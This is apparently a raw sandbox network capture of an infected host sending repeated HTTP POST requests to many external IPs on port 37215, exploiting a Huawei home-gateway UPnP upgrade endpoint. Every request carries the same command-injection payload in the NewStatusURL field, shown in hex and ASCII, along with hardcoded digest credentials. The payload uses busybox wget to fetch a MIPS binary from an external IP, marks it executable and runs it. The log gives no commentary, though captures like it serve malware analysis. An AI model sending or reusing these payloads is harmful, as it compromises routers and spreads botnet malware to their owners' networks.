Jan 1, 2024 12:54:28.444534063 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:32.320519924 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:39.740520000 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:54.332714081 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.13	33324	156.77.135.37	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:54:27.187725067 CET	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.13	60170	94.120.208.194	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:54:27.343312979 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.13	37564	95.86.93.65	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:54:27.356895924 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.13	34100	156.235.101.222	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:54:27.483325005 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:28.348543882 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
